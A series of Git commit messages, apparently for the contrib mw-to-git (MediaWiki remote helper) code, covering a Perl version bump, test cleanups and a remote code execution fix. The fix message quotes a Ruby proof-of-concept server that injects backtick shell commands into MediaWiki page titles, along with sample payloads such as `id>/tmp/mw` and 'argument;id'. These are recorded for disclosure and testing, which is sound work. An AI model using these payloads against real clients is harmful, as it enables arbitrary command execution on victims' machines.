Newer versions of Getopt::Long started giving warnings against our
(ab)use of it in "git send-email". Bump the minimum version
requirement for Perl to 5.8.1 (from September 2002) to allow
simplifying our implementation.
* tz/send-email-negatable-options:
send-email: avoid duplicate specification warnings
perl: bump the required Perl version to 5.8.1 from 5.8.0
The following commit will make use of a Getopt::Long feature which is
only present in Perl >= 5.8.1. Document that as the minimum version we
support.
Many of our Perl scripts will continue to run with 5.8.0 but this change
allows us to adjust them as needed without breaking any promises to our
users.
The Perl requirement was last changed in d48b284183 (perl: bump the
required Perl version to 5.8 from 5.6.[21], 2010-09-24). At that time,
5.8.0 was 8 years old. It is now over 21 years old.

They are equivalents and the former still exists, so as long as the
only change this commit makes are to rewrite test_i18ngrep to
test_grep, there won't be any new bug, even if there still are
callers of test_i18ngrep remaining in the tree, or when merged to
other topics that add new uses of test_i18ngrep.
This patch was produced more or less with
git grep -l -e 'test_i18ngrep ' 't/t[0-9][0-9][0-9][0-9]-*.sh' |
xargs perl -p -i -e 's/test_i18ngrep /test_grep /'
and a good way to sanity check the result yourself is to run the
above in a checkout of c4603c1c (test framework: further deprecate
test_i18ngrep, 2023-10-31) and compare the resulting working tree
contents with the result of applying this patch to the same commit.
You'll see that test_i18ngrep in a few t/lib-*.sh files corrected,
in addition to the manual reproduction.

Failures within `for` and `while` loops can go unnoticed if not detected
and signaled manually since the loop itself does not abort when a
contained command fails, nor will a failure necessarily be detected when
the loop finishes since the loop returns the exit code of the last
command it ran on the final iteration, which may not be the command
which failed. Therefore, detect and signal failures manually within
loops using the idiom `|| return 1` (or `|| exit 1` within subshells).

Remove the use of run_git_unquoted() completely with a use of "sh -c"
suggested by Jeff King, i.e.:
sh -c '"$@" 2>/dev/null' -- echo sneaky 'argument;id'
I don't think this is needed now for any potential RCE issue. The
$remotename argument is ultimately picked by the local user (and
similarly, the $local variable comes from a user-supplied
refspec).
But completely eliminating the use of unquoted shell arguments has a
value in and of itself, by making the code easier to review. As noted
in an earlier commit I think the use of IPC::Open3 would be too
verbose here, but this "sh -c" trick strikes the right balance between
readability and semantic sanity.

Explicitly annotate the invocations of run_git() which don't use
quoted arguments. I'm not converting these to run_git_quoted() because
these invocations pipe stderr to /dev/null, which the Perl open() API
doesn't support.
We could do a quoted version of this with IPC::Open3, but I don't
think it's worth it to go through that here. Let's instead just mark
these sites, and comment on why it's OK to use the variables we're
using.
This eliminates the last uses of run_git(), so we can remove the alias
for it introduced in an earlier commit.

Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)

return all_pages

being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.

Replace the use of screen-scraping in the test environment
installation with simply invoking MediaWiki's command-line
installer.
The old code being deleted here relied on our own hardcoded POST
parameter names & the precise layout of MediaWiki's GUI installer at a
given version. Somewhere between [1] and now this inevitably broke.
As far as I can tell there was never a reason for this screen-scraping
hack, when [1] was introduced it hardcoded MediaWiki 1.19.0, the CLI
installer was introduced in 1.17.0. Perhaps the authors weren't aware
of it, or this code was written for an older version.
This allows us to simply delete our own template version of
LocalSettings.php, it'll instead be provided by the CLI installer.
While we're at it let's fix a few things, these changes weren't
practical to split up (I'd need to fix code I was about to mostly
delete)
* Use MediaWiki's own defaults where possible, e.g. before we'd name
the database "wikidb.sqlite", now we'll simply use whatever name
MediaWiki prefers (currently my_wiki.sqlite) by only supplying the
directory name the SQLite file will be dropped into, not the full
path.
* Put all of our database & download assets into a new "mediawiki/"
folder. This makes it easier to reason about as the current &
template "backup" database the tests keep swapping around live
next to each other.
This'll also prevent future potential breakage as there isn't a
single SQLite database. MediaWiki also creates a job queue
database and a couple of cache databases. In practice it seems we
got away with not resetting these when we reset the main database,
but it's the sort of thing that could break in the future (reset,
main store doesn't have the article, but the cache does).
* The "delete" function now only deletes the MediaWiki installation
& database, not the downloaded .tar.gz file. This makes us
friendlier to a developer on a slow connection.

The use of the encoding pragma has been a hard error since Perl
5.18 (released in 2013).
What this script really wanted to do was to decode @ARGV and write out
some files with the UTF-8 PerlIO layer. Let's just do that explicitly
instead.
This explicitly does not retain the previous UTF-8 semantics of the
script. The "encoding" pragma had all sorts of global effects (program
text being UTF-8, stdin/stdout etc.). But the only thing that was
required was decoding @ARGV and writing out UTF-8 data, which is
currently facilitated with the "open" pragma.

When we specify a list of namespaces to fetch from, by default the MW
API will not fetch from the default namespace, refered to as "(Main)"
in the documentation:
https://www.mediawiki.org/wiki/Manual:Namespace#Built-in_namespaces
I haven't found a way to address that "(Main)" namespace when getting
the namespace ids: indeed, when listing namespaces, there is no
"canonical" field for the main namespace, although there is a "*"
field that is set to "" (empty). So in theory, we could specify the
empty namespace to get the main namespace, but that would make
specifying namespaces harder for the user: we would need to teach
users about the "empty" default namespace. It would also make the code
more complicated: we'd need to parse quotes in the configuration.
So we simply override the query here and allow the user to specify
"(Main)" since that is the publicly documented name.

On some machines, the most usable 'install' tool is named
'ginstall'.

So now you can run
DESTDIR=$(pwd)/tmp make -Ccontrib/mw-to-git install
to install the mediawiki remote helper, git-mw tool, and Git::Mediawiki
perl module under tmp/ as preparation for zipping it up and extracting
on another machine.
While at it, make sure the directory that should contain Git::Mediawiki
exists before putting a file there. Without this patch, the makefile
uses DESTDIR when installing git-mw and git-remote-mediawiki but not
the perl module, resulting in errors from "make install" if the
$(INSTLIBDIR)/Git directory does not exist:
install: cannot create regular file \
'/usr/share/perl/5.18.1/Git/Mediawiki.pm': No such file or directory

Running "make clean" after a successful "make install" should not
result in a broken mediawiki remote helper.
